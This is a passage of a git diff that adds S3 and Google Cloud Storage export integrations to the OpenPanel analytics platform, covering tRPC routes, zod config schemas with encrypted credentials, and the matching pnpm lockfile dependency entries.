+ payload: undefined;
+};
export type CronQueuePayload =
| CronQueuePayloadSalt
| CronQueuePayloadFlushEvents
@@ -193,6 +197,7 @@ export type CronQueuePayload =
| CronQueuePayloadFlushProfileBackfill
| CronQueuePayloadFlushReplay
| CronQueuePayloadFlushGroups
+ | CronQueuePayloadFlushExports
| CronQueuePayloadPing
| CronQueuePayloadDelete
| CronQueuePayloadInsightsDaily
diff --git a/packages/trpc/src/routers/integration.ts b/packages/trpc/src/routers/integration.ts
index 3efbd063b..dadc8112e 100644
--- a/packages/trpc/src/routers/integration.ts
+++ b/packages/trpc/src/routers/integration.ts
@@ -1,11 +1,18 @@
import { z } from 'zod';
import { BASE_INTEGRATIONS, db } from '@openpanel/db';
+import { encryptCredential } from '@openpanel/common/server';
+import {
+ createS3Adapter,
+ createGCSAdapter,
+} from '@openpanel/integrations/src/object-store';
import { getSlackInstallUrl } from '@openpanel/integrations/src/slack';
import {
type ISlackConfig,
zCreateDiscordIntegration,
+ zCreateGCSExportIntegration,
+ zCreateS3ExportIntegration,
zCreateSlackIntegration,
zCreateWebhookIntegration,
} from '@openpanel/validation';
@@ -130,6 +137,79 @@ export const integrationRouter = createTRPCRouter({
},
});
}),
+ createOrUpdateExport: protectedProcedure
+ .input(
+ z.union([zCreateS3ExportIntegration, zCreateGCSExportIntegration]),
+ )
+ .mutation(async ({ input }) => {
+ // Test connection before saving (using unencrypted credentials)
+ if (input.config.type === 's3_export') {
+ const adapter = createS3Adapter(input.config);
+ const testResult = await adapter.testConnection();
+ if (!testResult.success) {
+ throw new TRPCBadRequestError(
+ `Failed to connect to S3: ${testResult.error}`,
+ );
+ }
+ } else if (input.config.type === 'gcs_export') {
+ const adapter = createGCSAdapter(input.config);
+ const testResult = await adapter.testConnection();
+ if (!testResult.success) {
+ throw new TRPCBadRequestError(
+ `Failed to connect to GCS: ${testResult.error}`,
+ );
+ }
+ }
+
+ // Encrypt sensitive credentials before storing
+ let configToSave = input.config;
+ if (input.config.type === 's3_export' && input.config.authMode === 'access_key') {
+ configToSave = {
+ ...input.config,
+ secretAccessKey: encryptCredential(input.config.secretAccessKey),
+ };
+ } else if (input.config.type === 'gcs_export') {
+ configToSave = {
+ ...input.config,
+ serviceAccountKey: encryptCredential(input.config.serviceAccountKey),
+ };
+ }
+
+ if (input.id) {
+ return db.integration.update({
+ where: {
+ id: input.id,
+ organizationId: input.organizationId,
+ },
+ data: {
+ name: input.name,
+ config: configToSave,
+ },
+ });
+ }
+ return db.integration.create({
+ data: {
+ name: input.name,
+ organizationId: input.organizationId,
+ config: configToSave,
+ },
+ });
+ }),
+ testExportConnection: protectedProcedure
+ .input(
+ z.union([zCreateS3ExportIntegration, zCreateGCSExportIntegration]),
+ )
+ .mutation(async ({ input }) => {
+ if (input.config.type === 's3_export') {
+ const adapter = createS3Adapter(input.config);
+ return adapter.testConnection();
+ }
+ if (input.config.type === 'gcs_export') {
+ const adapter = createGCSAdapter(input.config);
+ return adapter.testConnection();
+ }
+ return { success: false, error: 'Unknown export type' };
+ }),
delete: protectedProcedure
.input(z.object({ id: z.string() }))
.mutation(async ({ input: { id }, ctx }) => {
diff --git a/packages/validation/src/index.ts b/packages/validation/src/index.ts
index 0044246e5..8da0359b5 100644
--- a/packages/validation/src/index.ts
+++ b/packages/validation/src/index.ts
@@ -482,12 +482,67 @@ export const zEmailConfig = z.object({
});
export type IEmailConfig = z.infer;
+// S3 Export Integration Config - Base fields shared by both auth modes
+const zS3ExportConfigBase = z.object({
+ type: z.literal('s3_export'),
+ bucket: z.string().min(1, 'Bucket name is required'),
+ prefix: z.string().default('openpanel-exports'),
+ region: z.string().min(1, 'Region is required'),
+ endpoint: z.string().url().optional(), // For R2, MinIO, etc.
+ format: z.enum(['jsonl_gzip', 'parquet']).default('jsonl_gzip'),
+ // Optional encryption settings (S3-side encryption)
+ encryption: z.enum(['SSE-S3', 'SSE-KMS', 'none']).default('SSE-S3'),
+ kmsKeyId: z.string().optional(),
+});
+
+// Auth mode: IAM Role assumption (AWS best practice)
+const zS3AuthIamRole = z.object({
+ authMode: z.literal('iam_role'),
+ roleArn: z.string().min(1, 'IAM Role ARN is required'),
+ externalId: z.string().optional(),
+});
+
+// Auth mode: Access Keys (for R2, MinIO, DigitalOcean Spaces, etc.)
+const zS3AuthAccessKey = z.object({
+ authMode: z.literal('access_key'),
+ accessKeyId: z.string().min(1, 'Access Key ID is required'),
+ secretAccessKey: z.string().min(1, 'Secret Access Key is required'),
+});
+
+// S3 config with IAM role auth
+export const zS3ExportConfigIamRole = zS3ExportConfigBase.merge(zS3AuthIamRole);
+export type IS3ExportConfigIamRole = z.infer;
+
+// S3 config with access key auth
+export const zS3ExportConfigAccessKey = zS3ExportConfigBase.merge(zS3AuthAccessKey);
+export type IS3ExportConfigAccessKey = z.infer;
+
+// Combined discriminated union
+export const zS3ExportConfig = z.discriminatedUnion('authMode', [
+ zS3ExportConfigIamRole,
+ zS3ExportConfigAccessKey,
+]);
+export type IS3ExportConfig = z.infer;
+
+// GCS Export Integration Config
+export const zGCSExportConfig = z.object({
+ type: z.literal('gcs_export'),
+ bucket: z.string().min(1, 'Bucket name is required'),
+ prefix: z.string().default('openpanel-exports'),
+ format: z.enum(['jsonl_gzip', 'parquet']).default('jsonl_gzip'),
+ // Service account credentials (JSON key as string)
+ serviceAccountKey: z.string().min(1, 'Service account key is required'),
+});
+export type IGCSExportConfig = z.infer;
+
export type IIntegrationConfig =
| ISlackConfig
| IDiscordConfig
| IWebhookConfig
| IAppConfig
- | IEmailConfig;
+ | IEmailConfig
+ | IS3ExportConfig
+ | IGCSExportConfig;
const zCreateIntegration = z.object({
id: z.string().optional(),
@@ -505,6 +560,18 @@ export const zCreateDiscordIntegration = zCreateIntegration.extend({
config: zDiscordConfig,
});
+export const zCreateS3ExportIntegration = zCreateIntegration.merge(
+ z.object({
+ config: zS3ExportConfig,
+ }),
+);
+
+export const zCreateGCSExportIntegration = zCreateIntegration.merge(
+ z.object({
+ config: zGCSExportConfig,
+ }),
+);
+
export const zNotificationRuleEventConfig = z.object({
type: z.literal('events'),
events: z.array(zChartEvent),
diff --git a/pnpm-lock.yaml b/pnpm-lock.yaml
index 6bfe983ec..cea0610d3 100644
--- a/pnpm-lock.yaml
+++ b/pnpm-lock.yaml
@@ -123,6 +123,12 @@ importers:
apps/api:
dependencies:
+ '@aws-sdk/client-s3':
+ specifier: ^3.974.0
+ version: 3.984.0
+ '@aws-sdk/client-sts':
+ specifier: ^3.974.0
+ version: 3.1117.0
'@better-agent/adapters':
specifier: ^0.1.0-beta.3
version: 0.1.0-beta.3(@better-agent/core@0.1.0-beta.3)
@@ -150,6 +156,9 @@ importers:
'@fastify/websocket':
specifier: ^11.2.0
version: 11.2.0
+ '@google-cloud/storage':
+ specifier: ^7.18.0
+ version: 7.22.0(supports-color@10.2.0)
'@hyperdx/node-opentelemetry':
specifier: 'catalog:'
version: 0.10.3(supports-color@10.2.0)
@@ -988,12 +997,21 @@ importers:
apps/worker:
dependencies:
+ '@aws-sdk/client-s3':
+ specifier: ^3.974.0
+ version: 3.984.0
+ '@aws-sdk/client-sts':
+ specifier: ^3.974.0
+ version: 3.1117.0
'@bull-board/api':
specifier: 6.14.0
version: 6.14.0(@bull-board/ui@6.14.0)
'@bull-board/express':
specifier: 6.14.0
version: 6.14.0(supports-color@10.2.0)
+ '@google-cloud/storage':
+ specifier: ^7.18.0
+ version: 7.22.0(supports-color@10.2.0)
'@hyperdx/node-opentelemetry':
specifier: 'catalog:'
version: 0.10.3(supports-color@10.2.0)
@@ -1033,6 +1051,9 @@ importers:
'@openpanel/redis':
specifier: workspace:*
version: link:../../packages/redis
+ '@openpanel/validation':
+ specifier: workspace:*
+ version: link:../../packages/validation
bullmq:
specifier: ^5.63.0
version: 5.63.0(supports-color@10.2.0)
@@ -1464,6 +1485,15 @@ importers:
packages/integrations:
dependencies:
+ '@aws-sdk/client-s3':
+ specifier: ^3.974.0
+ version: 3.984.0
+ '@aws-sdk/client-sts':
+ specifier: ^3.974.0
+ version: 3.1117.0
+ '@google-cloud/storage':
+ specifier: ^7.18.0
+ version: 7.22.0(supports-color@10.2.0)
'@openpanel/common':
specifier: workspace:*
version: link:../common
@@ -1474,6 +1504,9 @@ importers:
specifier: ^3.0.0
version: 3.0.1(debug@4.4.3(supports-color@10.2.0))
devDependencies:
+ '@openpanel/logger':
+ specifier: workspace:*
+ version: link:../logger
'@openpanel/tsconfig':
specifier: workspace:*
version: link:../../tooling/typescript
@@ -2156,14 +2189,26 @@ packages:
resolution: {integrity: sha512-xTEaPjZwOqVjGbLOP7qzwbdOWJOo1ne2mUhTZwEBBkPvNk4aXB/vcYwWwrjoSWUqtit4+GDbO75ePc/S6TUJYQ==}
engines: {node: '>=20.0.0'}
+ '@aws-sdk/client-sts@3.1117.0':
+ resolution: {integrity: sha512-aZ0ypjbIdhRW85FOCkInl28sanIz8Qc/+CApJ79DVY55MFzXEkq2yDzzazTBvtnjB4UjFBGQmMlkNzUfBxrNBQ==}
+ engines: {node: '>=20.0.0'}
+
'@aws-sdk/core@3.973.10':
resolution: {integrity: sha512-4u/FbyyT3JqzfsESI70iFg6e2yp87MB5kS2qcxIA66m52VSTN1fvuvbCY1h/LKq1LvuxIrlJ1ItcyjvcKoaPLg==}
engines: {node: '>=20.0.0'}
+ '@aws-sdk/core@3.977.9':
+ resolution: {integrity: sha512-reqPFEQrZxDZpeGj4PFMepBeR5LGYHRqq/L0motTzgFkCRBA4rFdaVXDSLYyGHhxVz7sT2PDnPN9CluGSfgyJA==}
+ engines: {node: '>=20.0.0'}
+
'@aws-sdk/crc64-nvme@3.972.0':
resolution: {integrity: sha512-ThlLhTqX68jvoIVv+pryOdb5coP1cX1/MaTbB9xkGDCbWbsqQcLqzPxuSoW1DCnAAIacmXCWpzUNOB9pv+xXQw==}
engines: {node: '>=20.0.0'}
+ '@aws-sdk/credential-provider-env@3.972.70':
+ resolution: {integrity: sha512-H404B7dJl2mCrBqahDEYsanB0xhdDp6tXnXcTUnXmmpy2Q3J0Ho0bUajZ2jr/RdwzCyS59Gi8xXIFwPLGBl6Uw==}
+ engines: {node: '>=20.0.0'}
+
'@aws-sdk/credential-provider-env@3.972.8':
resolution: {integrity: sha512-r91OOPAcHnLCSxaeu/lzZAVRCZ/CtTNuwmJkUwpwSDshUrP7bkX1OmFn2nUMWd9kN53Q4cEo8b7226G4olt2Mg==}
engines: {node: '>=20.0.0'}
@@ -2172,18 +2217,38 @@ packages:
resolution: {integrity: sha512-DTtuyXSWB+KetzLcWaSahLJCtTUe/3SXtlGp4ik9PCe9xD6swHEkG8n8/BNsQ9dsihb9nhFvuUB4DpdBGDcvVg==}
engines: {node: '>=20.0.0'}
+ '@aws-sdk/credential-provider-http@3.972.72':
+ resolution: {integrity: sha512-X98zYOrVOeuosCX+6ktf29FC2N2GHPLia7qv6mzPzTc+RPAuHWCDS++Z6JK7eGYqb/v6uaW7bAXaOvDBfol+0w==}
+ engines: {node: '>=20.0.0'}
+
'@aws-sdk/credential-provider-ini@3.972.8':
resolution: {integrity: sha512-n2dMn21gvbBIEh00E8Nb+j01U/9rSqFIamWRdGm/mE5e+vHQ9g0cBNdrYFlM6AAiryKVHZmShWT9D1JAWJ3ISw==}
engines: {node: '>=20.0.0'}
+ '@aws-sdk/credential-provider-ini@3.973.15':
+ resolution: {integrity: sha512-Rykg6s5ceBuynMOGWgoowO4N+27JfnqXAnVaSunZl0hOO1XodSrxGNz6sCEbnmS0lAfQZDKyb3fbr46gSuv6Sg==}
+ engines: {node: '>=20.0.0'}
+
+ '@aws-sdk/credential-provider-login@3.972.77':
+ resolution: {integrity: sha512-Jb59xfEISoN5mmbnA+HYqdtrSX3CgCtJoof+V5D8/TgUI56W63GEEd5Y58WijU3Ou6+WEgaLD1feVzaRXV5IDQ==}
+ engines: {node: '>=20.0.0'}
+
'@aws-sdk/credential-provider-login@3.972.8':
resolution: {integrity: sha512-rMFuVids8ICge/X9DF5pRdGMIvkVhDV9IQFQ8aTYk6iF0rl9jOUa1C3kjepxiXUlpgJQT++sLZkT9n0TMLHhQw==}
engines: {node: '>=20.0.0'}
+ '@aws-sdk/credential-provider-node@3.972.81':
+ resolution: {integrity: sha512-Rml+WitoFvXmv6JZ18U/xGdGDGGvB/mOin0ya0lTnTrdC0Z1lrVxTYh7iNklZBcvcRMrs4DoEf6xy1KWyrLQQw==}
+ engines: {node: '>=20.0.0'}
+
'@aws-sdk/credential-provider-node@3.972.9':
resolution: {integrity: sha512-LfJfO0ClRAq2WsSnA9JuUsNyIicD2eyputxSlSL0EiMrtxOxELLRG6ZVYDf/a1HCepaYPXeakH4y8D5OLCauag==}
engines: {node: '>=20.0.0'}
+ '@aws-sdk/credential-provider-process@3.972.70':
+ resolution: {integrity: sha512-2ry03fGRJr4sV3jI+ocjj5JqALnFD6ymM5KiNCDZMvq8bX2GSbE0vji4aM43TVCl2nXqqLRZaUxdq/KeWRAY4Q==}
+ engines: {node: '>=20.0.0'}
+
'@aws-sdk/credential-provider-process@3.972.8':
resolution: {integrity: sha512-6cg26ffFltxM51OOS8NH7oE41EccaYiNlbd5VgUYwhiGCySLfHoGuGrLm2rMB4zhy+IO5nWIIG0HiodX8zdvHA==}
engines: {node: '>=20.0.0'}
@@ -2192,6 +2257,14 @@ packages:
resolution: {integrity: sha512-35kqmFOVU1n26SNv+U37sM8b2TzG8LyqAcd6iM9gprqxyHEh/8IM3gzN4Jzufs3qM6IrH8e43ryZWYdvfVzzKQ==}
engines: {node: '>=20.0.0'}
+ '@aws-sdk/credential-provider-sso@3.973.14':
+ resolution: {integrity: sha512-jkhg/8ocAAoc0RFyLMhCw+/zZh7gystQgd4F4hznNa8P4Cc501PQmxd+jGLiMHodPJ+7Zv/3znM62gZojyasmA==}
+ engines: {node: '>=20.0.0'}
+
+ '@aws-sdk/credential-provider-web-identity@3.972.76':
+ resolution: {integrity: sha512-d3AGyVu759PGr35mEB2s22xxlNEA5rpdxtSPJthfPFJvoQ8dt357iVPECqWfUxXp1toJAvKmbtcIYVGigaGsCA==}
+ engines: {node: '>=20.0.0'}
+
'@aws-sdk/credential-provider-web-identity@3.972.8':
resolution: {integrity: sha512-CZhN1bOc1J3ubQPqbmr5b4KaMJBgdDvYsmEIZuX++wFlzmZsKj1bwkaiTEb5U2V7kXuzLlpF5HJSOM9eY/6nGA==}
engines: {node: '>=20.0.0'}
@@ -2256,6 +2329,10 @@ packages:
resolution: {integrity: sha512-3NA0s66vsy8g7hPh36ZsUgO4SiMyrhwcYvuuNK1PezO52vX3hXDW4pQrC6OQLGKGJV0o6tbEyQtXb/mPs8zg8w==}
engines: {node: '>=20.0.0'}
+ '@aws-sdk/nested-clients@3.997.44':
+ resolution: {integrity: sha512-NhEgryjlBF9w38ZXqGymQV28IhkYa1mKhlbYnqIis57AYwWGVYfUPgg/qC2rLRqOUfblxx++irvju10kVTa8Vw==}
+ engines: {node: '>=20.0.0'}
+
'@aws-sdk/region-config-resolver@3.972.3':
resolution: {integrity: sha512-v4J8qYAWfOMcZ4MJUyatntOicTzEMaU7j3OpkRCGGFSL2NgXQ5VbxauIyORA+pxdKZ0qQG2tCQjQjZDlXEC3Ow==}
engines: {node: '>=20.0.0'}
@@ -2264,6 +2341,14 @@ packages:
resolution: {integrity: sha512-TaWbfYCwnuOSvDSrgs7QgoaoXse49E7LzUkVOUhoezwB7bkmhp+iojADm7UepCEu4021SquD7NG1xA+WCvmldA==}
engines: {node: '>=20.0.0'}
+ '@aws-sdk/signature-v4-multi-region@3.996.46':
+ resolution: {integrity: sha512-L+2xZTye/2T96f3lwCws0Zw6GG2JHZW9e8FpVgGBeeExSKyeoZ6CWRpBml/7DNiK/O26jrgPM9F+Ay8VkgzUWQ==}
+ engines: {node: '>=20.0.0'}
+
+ '@aws-sdk/token-providers@3.1116.0':
+ resolution: {integrity: sha512-ygIivKqh8aHzNkucOCXHyIBgBpLPfrSI0mCqXF+vLBsPTUKqj0VSqAY0GFPe7lQl4HntjOcQ+KSyS7oUV2C54Q==}
+ engines: {node: '>=20.0.0'}
+
'@aws-sdk/token-providers@3.990.0':
resolution: {integrity: sha512-L3BtUb2v9XmYgQdfGBzbBtKMXaP5fV973y3Qdxeevs6oUTVXFmi/mV1+LnScA/1wVPJC9/hlK+1o5vbt7cG7EQ==}
engines: {node: '>=20.0.0'}
@@ -2272,6 +2357,10 @@ packages:
resolution: {integrity: sha512-DwHBiMNOB468JiX6+i34c+THsKHErYUdNQ3HexeXZvVn4zouLjgaS4FejiGSi2HyBuzuyHg7SuOPmjSvoU9NRg==}
engines: {node: '>=20.0.0'}
+ '@aws-sdk/types@3.974.5':
+ resolution: {integrity: sha512-LkwLL2BLbC6wNNm4JaH9mbEqBMdOZCct6VAYqhdN4U1xrWM+fUJQEfbHwQgDypapOWTRtlk25akb5afM0P8CIQ==}
+ engines: {node: '>=20.0.0'}
+
'@aws-sdk/util-arn-parser@3.972.2':
resolution: {integrity: sha512-VkykWbqMjlSgBFDyrY3nOSqupMc6ivXuGmvci6Q3NnLq5kC+mKQe2QBZ4nrWRE/jqOxeFP2uYzLtwncYYcvQDg==}
engines: {node: '>=20.0.0'}
@@ -2304,10 +2393,18 @@ packages:
resolution: {integrity: sha512-0zJ05ANfYqI6+rGqj8samZBFod0dPPousBjLEqg8WdxSgbMAkRgLyn81lP215Do0rFJ/17LIXwr7q0yK24mP6Q==}
engines: {node: '>=20.0.0'}
+ '@aws-sdk/xml-builder@3.972.40':
+ resolution: {integrity: sha512-wlFmCIGUlwF4zx/kncw+bmxTQh1HeSJq4mYV/V5cZUSJadDP3kXvGW8Rn21cimj/7y9ju+47oYWXi97vF7czaA==}
+ engines: {node: '>=20.0.0'}
+
'@aws/lambda-invoke-store@0.2.3':
resolution: {integrity: sha512-oLvsaPMTBejkkmHhjf09xTgk71mOqyr/409NKhRIL08If7AhVfUsJhVsx386uJaqNd42v9kWamQ9lFbkoC2dYw==}
engines: {node: '>=18.0.0'}
+ '@aws/lambda-invoke-store@0.3.0':
+ resolution: {integrity: sha512-sl4Bm6yiMNYrZKkqqDFWN0UfnWhlS8ivKxrYl+6t0gCLrqr8y3B2IqZZbFRkfaVVp7C/baApyh71P+LeE1A2sQ==}
+ engines: {node: '>=18.0.0'}
+
'@babel/code-frame@7.10.4':
resolution: {integrity: sha512-vG6SvB6oYEhvgisZNFRmRCUkLz11c7rp+tbNTynGqc6mS1d5ATd/sGyV6W0KZZnXRKMTzZDRgQT3Ou9jhpAfUg==}
@@ -4732,6 +4829,22 @@ packages:
'@gar/promisify@1.1.3':
resolution: {integrity: sha512-k2Ty1JcVojjJFwrg/ThKi2ujJ7XNLYaFGNB/bWT9wGR+oSMJHMa5w+CUq6p/pVrKeNNgA7pCqEcjSnHVoqJQFw==}
+ '@google-cloud/paginator@5.0.2':
+ resolution: {integrity: sha512-DJS3s0OVH4zFDB1PzjxAsHqJT6sKVbRwwML0ZBP9PbU7Yebtu/7SWMRzvO2J3nUi9pRNITCfu4LJeooM2w4pjg==}
+ engines: {node: '>=14.0.0'}
+
+ '@google-cloud/projectify@4.0.0':
+ resolution: {integrity: sha512-MmaX6HeSvyPbWGwFq7mXdo0uQZLGBYCwziiLIGq5JVX+/bdI3SAq6bP98trV5eTWfLuvsMcIC1YJOF2vfteLFA==}
+ engines: {node: '>=14.0.0'}
+
+ '@google-cloud/promisify@4.0.0':
+ resolution: {integrity: sha512-Orxzlfb9c67A15cq2JQEyVc7wEsmFBmHjZWZYQMUyJ1qivXyMwdyNOs9odi79hze+2zqdTtu1E19IM/FtqZ10g==}
+ engines: {node: '>=14'}
+
+ '@google-cloud/storage@7.22.0':
+ resolution: {integrity: sha512-W98gTQOAntEeEQ7/pZxSQXxfUO5CiQcXJRsxBpUa6UU25n8YN/VtogPBi0H+MAmUrn/6bY/sBhFansoWEsr2/g==}
+ engines: {node: '>=18'}
+
'@graphql-typed-document-node/core@3.2.0':
resolution: {integrity: sha512-mB9oAsNCm9aM3/SOv4YtBMqZbYj10R7dkq8byBqxGY/ncFwhf2oQzMV+LCRlWoDSEBJ3COiR1yeDvMtsoOsuFQ==}
peerDependencies:
@@ -8675,10 +8788,18 @@ packages:
resolution: {integrity: sha512-Yq4UPVoQICM9zHnByLmG8632t2M0+yap4T7ANVw482J0W7HW0pOuxwVmeOwzJqX2Q89fkXz0Vybz55Wj2Xzrsg==}
engines: {node: '>=18.0.0'}
+ '@smithy/core@3.33.3':
+ resolution: {integrity: sha512-CsOeKq/9kA3y6VJHt+/+VTCtBaxJ4OTFpgrjIUhPpDIKxBci1k2bJaQASF2h/ELWrulGp+t97DZ0mevfAD8idg==}
+ engines: {node: '>=18.0.0'}
+
'@smithy/credential-provider-imds@4.2.8':
resolution: {integrity: sha512-FNT0xHS1c/CPN8upqbMFP83+ul5YgdisfCfkZ86Jh2NSmnqw/AJ6x5pEogVCTVvSm7j9MopRU89bmDelxuDMYw==}
engines: {node: '>=18.0.0'}
+ '@smithy/credential-provider-imds@4.5.2':
+ resolution: {integrity: sha512-A9uSdn72ozbRUSit0eib0TW7nXuNPlaeM0zcGkJ+nE6tFcSDbnmtwoxbTCFBukVQcszDAyvsd7+rTduPTXpygg==}
+ engines: {node: '>=18.0.0'}
+
'@smithy/eventstream-codec@4.2.8':
resolution: {integrity: sha512-jS/O5Q14UsufqoGhov7dHLOPCzkYJl9QDzusI2Psh4wyYx/izhzvX9P4D69aTxcdfVhEPhjK+wYyn/PzLjKbbw==}
engines: {node: '>=18.0.0'}
@@ -8703,6 +8824,10 @@ packages:
resolution: {integrity: sha512-I4UhmcTYXBrct03rwzQX1Y/iqQlzVQaPxWjCjula++5EmWq9YGBrx6bbGqluGc1f0XEfhSkiY4jhLgbsJUMKRA==}
engines: {node: '>=18.0.0'}
+ '@smithy/fetch-http-handler@5.7.2':
+ resolution: {integrity: sha512-nZyWTmSpJEXl6VtWVMBJve/7x12DZu6sIX1z1a+ZMaHlQQRs9Zpu6NbTe/gmxYXVRpkjxyDYpZ5gx2IM6f/Wkw==}
+ engines: {node: '>=18.0.0'}
+
'@smithy/hash-blob-browser@4.2.9':
resolution: {integrity: sha512-m80d/iicI7DlBDxyQP6Th7BW/ejDGiF0bgI754+tiwK0lgMkcaIBgvwwVc7OFbY4eUzpGtnig52MhPAEJ7iNYg==}
engines: {node: '>=18.0.0'}
@@ -8755,6 +8880,10 @@ packages:
resolution: {integrity: sha512-aFP1ai4lrbVlWjfpAfRSL8KFcnJQYfTl5QxLJXY32vghJrDuFyPZ6LtUL+JEGYiFRG1PfPLHLoxj107ulncLIg==}
engines: {node: '>=18.0.0'}
+ '@smithy/node-http-handler@4.11.3':
+ resolution: {integrity: sha512-2jY1tSpERfPfWqyBV2pH+iGFaghVsIJszJNsT7hxtQYhVJpWDyc0LqOWI+nXOxOAHaEfZ4PXXtp1wW1TGpHhkA==}
+ engines: {node: '>=18.0.0'}
+
'@smithy/node-http-handler@4.4.10':
resolution: {integrity: sha512-u4YeUwOWRZaHbWaebvrs3UhwQwj+2VNmcVCwXcYTvPIuVyM7Ex1ftAj+fdbG/P4AkBwLq/+SKn+ydOI4ZJE9PA==}
engines: {node: '>=18.0.0'}
@@ -8787,6 +8916,10 @@ packages:
resolution: {integrity: sha512-6A4vdGj7qKNRF16UIcO8HhHjKW27thsxYci+5r/uVRkdcBEkOEiY8OMPuydLX4QHSrJqGHPJzPRwwVTqbLZJhg==}
engines: {node: '>=18.0.0'}
+ '@smithy/signature-v4@5.7.3':
+ resolution: {integrity: sha512-7ImGm+FkHRLcBaRttIAMZ6bzJZWb2cJGoYjq46F2UjycujWzrL9GEN9h4w7eQyXJYnltrUhxbbieBAIRrdqpow==}
+ engines: {node: '>=18.0.0'}
+
'@smithy/smithy-client@4.11.3':
resolution: {integrity: sha512-Q7kY5sDau8OoE6Y9zJoRGgje8P4/UY0WzH8R2ok0PDh+iJ+ZnEKowhjEqYafVcubkbYxQVaqwm3iufktzhprGg==}
engines: {node: '>=18.0.0'}
@@ -8795,6 +8928,10 @@ packages:
resolution: {integrity: sha512-9YcuJVTOBDjg9LWo23Qp0lTQ3D7fQsQtwle0jVfpbUHy9qBwCEgKuVH4FqFB3VYu0nwdHKiEMA+oXz7oV8X1kw==}
engines: {node: '>=18.0.0'}
+ '@smithy/types@4.17.2':
+ resolution: {integrity: sha512-FOKpVZob9MPTn2znRzGrnsMHv7BOsKVw3XiP/cOyYLDVZ9qKp4nifIiSCuUU/fIj5Vu0UOAxCFr+qRAtG0NUkA==}
+ engines: {node: '>=18.0.0'}
+
'@smithy/url-parser@4.2.8':
resolution: {integrity: sha512-NQho9U68TGMEU639YkXnVMV3GEFFULmmaWdlu1E9qzyIePOHsoSnagTGSDv1Zi8DCNN6btxOSdgmy5E/hsZwhA==}
engines: {node: '>=18.0.0'}
@@ -9365,6 +9502,10 @@ packages:
'@types/react-dom':
optional: true
+ '@tootallnate/once@2.0.1':
+ resolution: {integrity: sha512-HqmEUIGRJ5fSXchkVgR5F7qn48bDBzv0kWj/Kfu5e6uci4UlEeng4331LnBkWffb++Ei3FOVLxo8JJWMFBDMeQ==}
+ engines: {node: '>= 10'}
+
'@trpc/client@11.17.0':
resolution: {integrity: sha512-KpJBFrbKTDeVCFv/3ckL1XBBH5Yssn8hethI/rUy7GIpTj+VzjtPjykDqJpzobuVOz+d26cXCSu1t4I6MYI5Zg==}
hasBin: true
@@ -9446,6 +9587,9 @@ packages:
'@types/bunyan@1.8.11':
resolution: {integrity: sha512-758fRH7umIMk5qt5ELmRMff4mLDlN+xyYzC+dkPTdKwbSkJFvz6xwyScrytPU0QIBbRRwbiE8/BIg8bpajerNQ==}
+ '@types/caseless@0.12.5':
+ resolution: {integrity: sha512-hWtVTC2q7hc7xZ/RLbxapMvDMgUnDvKvMOpKal4DrMyfGBUfB1oKaZlIRr6mJL+If3bAP6sV/QneGzF6tJjZDg==}
+
'@types/compression@1.7.5':
resolution: {integrity: sha512-AAQvK5pxMpaT+nDvhHrsBhLSYG5yQdtkaJE1WYieSNY2mVFKAgmU4ks65rkZD5oqnGCFLyQpUr1CqI4DmUMyDg==}
@@ -9824,6 +9968,9 @@ packages:
'@types/request-ip@0.0.41':
resolution: {integrity: sha512-Qzz0PM2nSZej4lsLzzNfADIORZhhxO7PED0fXpg4FjXiHuJ/lMyUg+YFF5q8x9HPZH3Gl6N+NOM8QZjItNgGKg==}
+ '@types/request@2.48.13':
+ resolution: {integrity: sha512-FGJ6udDNUCjd19pp0Q3iTiDkwhYup7J8hpMW9c4k53NrccQFFWKRho6hvtPPEhnXWKvukfwAlB6DbDz4yhH5Gg==}
+
'@types/resolve@1.20.2':
resolution: {integrity: sha512-60BCwRFOZCQhDncwQdxxeOEEkbc5dIMccYLwbxsS4TUNeVECQ/pBJ0j09mrHOl/JJvpRPGwO9SvE4nR2Nb/a4Q==}
@@ -9869,6 +10016,9 @@ packages:
'@types/through@0.0.33':
resolution: {integrity: sha512-HsJ+z3QuETzP3cswwtzt2vEIiHBk/dCcHGhbmG5X3ecnwFD/lPrMpliGXxSCg03L9AhrdwA4Oz/qfspkDW+xGQ==}
+ '@types/tough-cookie@4.0.5':
+ resolution: {integrity: sha512-/Ad8+nIOV7Rl++6f1BdKxFSMgmoqEoYbHRpPcx3JEfv8VRsQe9Z4mCXeJBzxs7mbHY/XOZZuXlRNfhpVPbs6ZA==}
+
'@types/triple-beam@1.3.5':
resolution: {integrity: sha512-6WaYesThRMCl19iryMYP7/x2OVgCtbIVflDGFpWnb9irXI3UjYE4AzmYuiUKY1AJstGijoY+MgUszMgRxIYTYw==}
@@ -10471,6 +10621,9 @@ packages:
async-limiter@1.0.1:
resolution: {integrity: sha512-csOlWGAcRFJaI6m+F2WKdnMKr4HhdhFVBk0H/QbJFMCr+uO2kwohwXQPxw/9OCxp05r5ghVBFSyioixx3gfkNQ==}
+ async-retry@1.3.3:
+ resolution: {integrity: sha512-wfr/jstw9xNi/0teMHrRW7dsz3Lt5ARhYNZ2ewpadnhaIp5mbALhOAP+EAdsC7t4Z6wqsDVv9+W6gm1Dk9mEyw==}
+
async-sema@3.1.1:
resolution: {integrity: sha512-tLRNUXati5MFePdAk8dw7Qt7DpxPB60ofAgn8WRhW6a2rcimZnYBP9oxHiv0OHy+Wz7kPMG+t4LGdt31+4EmGg==}
@@ -12681,6 +12834,10 @@ packages:
resolution: {integrity: sha512-m21N3WOmEEURgk6B9GLOE4RuWOFf28Lhh9qGYeNlGq4VDXUlJy2th2slBNU8Gp8EzloYZOibZJ7t5ecIrFSjVA==}
engines: {node: '>= 0.12'}
+ form-data@2.5.6:
+ resolution: {integrity: sha512-Ogz/E85h9tlfJzpI6TuFpGcHZFhLrb9Gw8wq9v40CxSCPnv7ahKr6Xgtkn0KYCDQJ8DNn5VoMO8EXr9V5PadyA==}
+ engines: {node: '>= 0.12'}
+
form-data@3.0.4:
resolution: {integrity: sha512-f0cRzm6dkyVYV3nPoooP8XlccPQukegwhAnpoLcXy+X+A8KfpGOoXwDr9FLZd3wzgLaBGQBE3lY93Zm/i1JvIQ==}
engines: {node: '>= 6'}
@@ -13140,6 +13297,10 @@ packages:
peerDependencies:
csstype: ^3.0.10
+ google-auth-library@9.15.1:
+ resolution: {integrity: sha512-Jb6Z0+nvECVz+2lzSMt9u98UsoakXxA2HGHMCxh+so3n90XgYWkq5dur19JAJV7ONiJY22yBTyJB1TSkvPq9Ng==}
+ engines: {node: '>=14'}
+
gopd@1.2.0:
resolution: {integrity: sha512-ZUKRh6/kUFoAiTAtTYPZJ3hw9wNxx+BIBOijnlG9PnrJsCcSjs1wyyD6vJpaYtgnzDrKYRSqf3OO6Rfa93xsRg==}
